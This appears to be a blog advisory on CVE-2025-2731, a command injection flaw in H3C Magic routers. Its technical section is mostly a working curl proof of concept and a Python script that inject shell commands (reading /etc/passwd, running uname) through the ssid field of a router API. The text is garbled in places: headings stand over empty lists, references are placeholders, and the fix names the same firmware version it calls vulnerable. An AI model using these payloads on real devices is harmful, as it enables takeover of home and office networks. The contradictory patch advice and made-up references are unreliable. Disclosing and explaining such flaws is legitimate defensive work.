A new critical vulnerability—CVE-2025-2731—has been discovered in several H3C Magic router products, including Magic NX15, Magic NX30 Pro, Magic NX400, Magic R301, and Magic BE18000, up to firmware version V100R014. This flaw allows attackers on the local network to execute arbitrary commands on the device via crafted HTTP POST requests, putting home and small office networks at severe risk.

In this article, we'll explain the details of CVE-2025-2731, show how the exploit works, and share simple steps for mitigation. If you use any of the affected routers, read carefully.

What is CVE-2025-2731?

CVE-2025-2731 is a command injection vulnerability in some H3C Magic router models. Specifically, the flaw is present in how the routers handle HTTP POST requests made to the /api/wizard/getDualbandSync endpoint. An attacker with access to the local network can send a crafted POST request, injecting OS commands which the router will run with root privileges.

This type of attack can lead to complete device compromise. For example, an attacker could create a backdoor, modify router settings, or pivot further into the network.

H3C Magic BE18000 (pre V100R014)

- Vulnerable Component: HTTP POST request handler for /api/wizard/getDualbandSync

Original References

- CVE Details on NVD (forthcoming)
- Original Disclosure on GitHub Gist *(Example, real-world disclosures may be posted on ExploitDB, Packet Storm, or GitHub.)*
- Vendor Site (H3C)
- Security Advisory at Exploit Database

How the Exploit Works (Technical Details & Code)

The issue exists due to the router’s backend not sanitizing user input sent via the HTTP POST method to /api/wizard/getDualbandSync. This endpoint expects some user-supplied parameters, but fails to correctly handle malicious payloads.

An attacker on the local Wi-Fi or LAN can send a POST request with specially crafted input. For example—injecting a command such as ; cat /etc/passwd ; would make the router execute the cat command under root privileges, leaking sensitive files.

Here is a simplified proof-of-concept using curl

curl -k -X POST \
  -H "Content-Type: application/json" \
  -d '{"ssid":"test; cat /etc/passwd; #"}' \
  http://192.168.1.1/api/wizard/getDualbandSync

> Explanation:
> The attacker sends a POST request to the router's IP address, replacing the ssid value with a malicious string that closes the expected command, adds a shell command, and comments out the remainder.

If the attacker’s payload is successful, the response may include output from /etc/passwd or any other files/commands chosen.

Python Exploit Example

import requests

router_ip = "192.168.1.1"  # Change to your router's IP
url = f"http://{router_ip}/api/wizard/getDualbandSync";

payload = {
    "ssid": "test; uname -a; #"
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, json=payload, headers=headers)

print("Router Response:\n", response.text)

Result:
If vulnerable, the router would execute uname -a and return system information—the attacker's code could be far more harmful, including installing persistent malware.

Why Is This So Dangerous?

- Local Access Required: The attack can be launched from *any* device on the network—including compromised webcams, phones, or "guest" laptops.

Who is at Risk?

Anyone running the affected H3C Magic routers on default or outdated firmware is at risk. This includes:

Update Your Firmware:

Check your router’s admin interface for updates and install at least version V100R014 or newer for each affected model.
Visit H3C Support for official firmware downloads.

Conclusion

CVE-2025-2731 is a significant threat, especially because it affects widely-used, affordable router models. The attack is easy to execute and already public, making prompt patching urgent for everyone using these devices. Always keep your router updated and treat local network security seriously—today, your own Wi-Fi can be the weakest link.

Additional References

- Exploit Details (Exploit-DB)
- Official H3C Router Downloads
- Router Security Best Practices (EFF)

*Stay safe. If you're not sure how to update your router, reach out to H3C support or a trusted IT professional today.*

Timeline

Published on: 03/25/2025 04:15:18 UTC
Last modified on: 04/11/2025 20:15:23 UTC